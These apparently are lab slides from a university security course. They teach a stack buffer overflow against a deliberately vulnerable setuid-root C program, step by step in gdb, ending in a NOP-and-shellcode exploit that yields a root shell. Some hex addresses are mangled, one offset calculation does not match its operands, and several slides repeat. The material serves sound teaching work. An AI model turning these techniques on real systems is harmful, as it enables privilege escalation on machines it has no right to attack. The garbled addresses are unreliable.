Project 1 Notes and Demo
Overview

• You’ll be given the source code for 7 short buggy programs (target[1-7].c). These programs will be installed with setuid root

• Your job is to write exploits (sploit[1-7].c) that when run as user can get the target programs to run /bin/sh for you as root

• Each ‘sploit basically execve’s its corresponding target with a buffer as its parameter – all you have to do is craft that buffer appropriately.

• All of this will be done in a sandbox – “Do no evil”
Now what?

• A virtual console should pop up

• There are two accounts on these boxes:
  Username: user   Password: user
  Username: root   Password: root

• Log in as root
Debian Problems

• Sources.list file is out of date (image is so old)
• Use
  https://www.cs.drexel.edu/~greenie/cs475/etch.sources.list
  – You can wget with –no-check-certificate
• Apt-get update
• Apt-get install ...[vim]
Further setup

• Then you’ll need to:
  – Copy the sploits dir to ~user
  – chown user:user ~user/*
  – Copy the individual targets to /tmp
  – cd to /tmp
  – chown root:root for each of the targets
  – Make the targets
  – setuid the targets - chmod 4755 for each of the target binaries
  – Chmod 644 sources (.c files)
• Yes, this is annoying
• If you use vmware instead of tux/lab machines, you may not have to repeat as often.
Demonstrate the seg fault

- Pass 150 “a”s to target 1
- From /tmp

./target1 `perl -e 'print "a"x150;'`

Segmentation fault


GDB

- Google "Using GDB: A Guide to the GNU Source-Level Debugger"
- See especially:
  - Examining Stack Data
    x/a : to print contents of an address (word)
    \[ \rightarrow x/a \text{ buf prints first 4 bytes of buf variable} \]
    Press <enter> to walk up the stack 4 bytes at a time
  - x/s : to print a string
  - Registers: $sp (stack pointer); $fp (frame pointer); $pc (program counter)
    p/x $pc : to print the program counter in hex
    x/i $pc : to print the instruction to be executed next
    info registers : to print all regs + their values
  - Looking at assembly: disassemble <function name>
void function( int a, int b, int c ) {
    char buf1[5];
    char buf2[10];
}

Stack:

    c
    b
    a
    $ra [ eip ]

ebp →  $fp [ ebp ]
<other stuff...>
    buf1 – word aligned (so takes 8 bytes, not 5)
    buf2 – word aligned (so takes 12 bytes, not 10)

esp →  [ esp points somewhere down here... ]
Stack Layout – function return

```c
void function( int a, int b, int c ) {
    char buf1[5];
    char buf2[10];
}
```

Stack:
- ebp → [top of caller’s function stack]
  - c
  - b
  - a
- esp → $ra [ eip ]
  - $fp [ ebp ]
  - <other stuff...>
  - buf1 – word aligned (so takes 8 bytes, not 5)
  - buf2 – word aligned (so takes 12 bytes, not 10)
target1.c
Which $ra do we want?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int bar(char *arg, char *out){
    strcpy(out, arg); return 0;}

int foo(char *argv[]){
    char buf[128];
    bar(argv[1], buf);}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "target1: argc != 2\n");
        exit(EXIT_FAILURE);
    } foo(argv); return 0;}

sploit1

• Need:
  – Location of return address (addy on stack where $ra that we’re going to overwrite lives)
    • So we know how much we have to overwrite...
  – Address of the buffer (“buf” in target1)
    • So we know what address we want to force the program to jump to
More on sploit1

• So just run the program using `gdb` and see where the $fp$ and the $ra$ live relative to where the buf (in target1) lives

• `gdb target1`
• `(gdb) set args "`perl -e 'print "a"x150;'"`"
• run
More on sploit1

• So just run the program using `gdb` and see where the $fp$ and the $ra$ live relative to where the buf (in target1) lives

• `gdb target1`
• `(gdb) set args "`perl -e 'print "a"x150;\n;"'

• Run
• Seg fault again
Breakpoints

• b foo
• run

• Breakpoint 1, foo (argv=0xbfffffa94) at target1.c:14
• 14 bar(argv[1], buf);
Look at the Stack Frame

- info frame

Stack level 0, frame at 0xbffff9f0:
eip = 0x804840c in foo (target1.c:14); saved eip
  0x8048480
called by frame at 0xbfffffa10
source language c.
Arglist at 0xbffff9e8, args: argv=0xbfffa94
Locals at 0xbffff9e8, Previous frame's sp is 0xbffff9f0
  Saved registers: ebp at 0xbffff9e8, eip at 0xbffff9ec
What stack looks like

argv[1] 0xbffffbac “aaa....aa”
0xbfffffa94 argv[0] 0xbffff9bf -->“/tmp/target1”
0xbfffff9f0 foo $sp
0xbffff9ec $eip
0xbffff9e8 $ebp
<other stuff>
buf
$eip

• The return address is stored at 0xbffff9ec, and has a value 0x8048480 according to 'info frame',
• let's verify this. (gdb) x 0xbffff9ec
• 0xbffff9ec: 0x08048480

• disas main to see the point that this is the right line after foo returns
Seeing the effects of the overflow

- We want to be able to see the overflowed buffer before it crashes things
- Need to break after bar returns but before foo exits
- disas foo
Foo function

Dump of assembler code for function foo:
0x08048403 <foo+0>: push %ebp
0x08048404 <foo+1>: mov %esp,%ebp
0x08048406 <foo+3>: sub $0x88,%esp
0x0804840c <foo+9>: mov 0x8(%ebp),%eax
0x0804840f <foo+12>: add $0x4,%eax
0x08048412 <foo+15>: mov (%eax),%edx
0x08048414 <foo+17>: lea 0xffffffff80(%ebp),%eax
0x08048417 <foo+20>: mov %eax,0x4(%esp)
0x0804841b <foo+24>: mov %edx,(%esp)
0x0804841e <foo+27>: call 0x80483e4 <bar>
0x08048423 <foo+32>: leave
0x08048424 <foo+33>: ret
End of assembler dump.
**Breakpoint the leave instruction**

- `b *0x08048423`
- Breakpoint 2 at 0x8048423: file target1.c, line 15.
- `(gdb) c`
- Continuing.
- Breakpoint 2, foo (argv=0x61616161) at target1.c:15 15 }

---

**Breakpoint the leave instruction**

- b *0x08048423
- Breakpoint 2 at 0x8048423: file target1.c, line 15.
- (gdb) c
- Continuing.
- Breakpoint 2, foo (argv=0x61616161) at target1.c:15 15 }

---

**Breakpoint the leave instruction**

- b *0x08048423
- Breakpoint 2 at 0x8048423: file target1.c, line 15.
- (gdb) c
- Continuing.
- Breakpoint 2, foo (argv=0x61616161) at target1.c:15 15 }
How does the frame change?

• (gdb) info frame
  Stack level 0, frame at 0xbfffff9f0:
  eip = 0x8048423 in foo (target1.c:15);
  saved eip 0x61616161
  called by frame at 0xbfffff9f4
    source language c.
    Arglist at 0xbfffff9e8, args: argv=0x61616161
    Locals at 0xbfffff9e8, Previous frame's sp is 0xbfffff9f0
  Saved registers:
    ebp at 0xbfffff9e8, eip at 0xbfffff9ec
Finding buf

• Saved eip at 0xbffffff9ec has been overwritten with 0x61616161 = “aaaa”
• Now: we know where $eip is
• Need: learn where buf is
• (gdb) x buf
• 0xbfffffff968: 0x61616161
• So how big should our overflow be?
How big should our overflow be?

• Stack grows downward, how much stuff between saved registers and the local variables?

• Address($eip) – Address(buf)
• (gdb) print 0xbfffe968 – 0xbfffff968
• 132
Let’s test our calculations

• (gdb) set args "`perl -e 'print "a"x132 . "\x12\x34\x56\x78";'``

• (gdb) run

• The program being debugged has been started already. Start it from the beginning? (y or n) y

• First breakpoint

• info frame
Test

• Everything’s normal (as expected)
• (gdb) c
• Let’s try the second breakpoint
• (gdb) info frame
Stack level 0, frame at 0xbfffffa90:
eip = 0x8048423 in foo (target1.c:15);
saved eip 0x78563412
called by frame at 0xbfffffa04
source language c.
Arglist at 0xbfffff9f8, args: argv=0xbfffffa00
Locals at 0xbfffff9f8, Previous frame's sp is 0xbffff9a0
Saved registers: ebp at 0xbfffff9f8, eip at 0xbfffff9fc
It works

• (gdb) x 0xbffff9fc
• 0xbffff9fx c: 0x78563412

• Eip is changed to the pattern we wrote (little endian)
• Now we can repeat with the address of buf
Hijacking the flow into the buffer

- (gdb) x buf 0xbffff978: 0x61616161 (gdb)
- gdb) set args "`perl -e 'print "a"x132 . "\x78\xf9\xff\xbf"';`"
- (gdb) run
- The program being debugged has been started already. Start it from the beginning? (y or n) y
- Continue to the second breakpoint
Examining the overflow

- (gdb) info frame
  Stack level 0, frame at 0xbfffa00:
  eip = 0x8048423 in foo (target1.c:15);
  saved eip 0xbffff978
called by frame at 0xbfffa04
source language c.
Arglist at 0xbffff9f8, args: argv=0xbfffa00
Locals at 0xbffff9f8, Previous frame's sp is 0xbffff9a0
Saved registers: ebp at 0xbffff9f8, eip at 0xbfffc9fc
Returning into buf

- (gdb) x buf
- 0xbffff978: 0x61616161

- (gdb) stepi
  - Go forward one address
- Cannot access memory at address 0x61616165
- (gdb) stepi
- 0xbffff978 in ?? ()
Looking at the Instruction Pointer

• (gdb) /10c $eip
  – Print 10 characters beginning at $eip
  – 0xbfffff978: 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 97 'a'
    97 'a' 97 'a' 0xbfffff980: 97 'a' 97 'a'

• (gdb) /10i $eip
  – Print 10 instructions starting at $eip
  – popa (what 0x61 translates to)

• If we used shellcode instead of a’s, we’d be home by now
Writing the Exploit
(go to sploits dir)

• Needed
  – Attack string as argument
• 132 bytes to ret, 4 bytes for ret, 1 byte “/0”
• args[1] = malloc(137);
• memset(args[1], 0x90, 136); //pad with NOP
• args[1][136] = “\0”; //NULL terminate
• memcpy(args[1], shellcode, strlen(shellcode));
• //shellcode provided in string.h
• *(unsigned int *) (args[1] + 132) = 0x12345678;
• //address of buf will be different when exec’d from here because the environment is different
Let’s try it


- user@box:~/sploits$ ./sploit1 Segmentation fault
We need to find ret again

• `gdb –e sploit1 –s /tmp/target1`
• `catch exec`
  – Follow execution of target1 after exec
• `run`
  – Don’t worry about object file warning
  – Don’t set breakpoints before run (segfault)
• `b foo`
• `c`
*sigh* at last buf

- (gdb) info frame
  - Make sure everything looks ok
- (gdb) x buf
- 0xbfffffd78
- Yay, let’s go edit the exploit code
  - *(unsigned int *) (args[1] + 132) = 0xbfffffd78;
Time to Own...

• Make
• ./sploit1

• whoami
General suggestions / strategy

• Look at the targets and figure out what you *can* do for each: can you overflow the buffer? If so, by how much? If not, is there a format string vulnerability? No? Other weirdness?
  – Find the weakness first: even if you only have a general idea of what it is

• Then, read + research
  – Get big picture of what exactly the weakness is and how an attack on that weakness works
  – Get detailed picture of how such an attack works

• Then figure out how to adapt that model to the specific code you’re given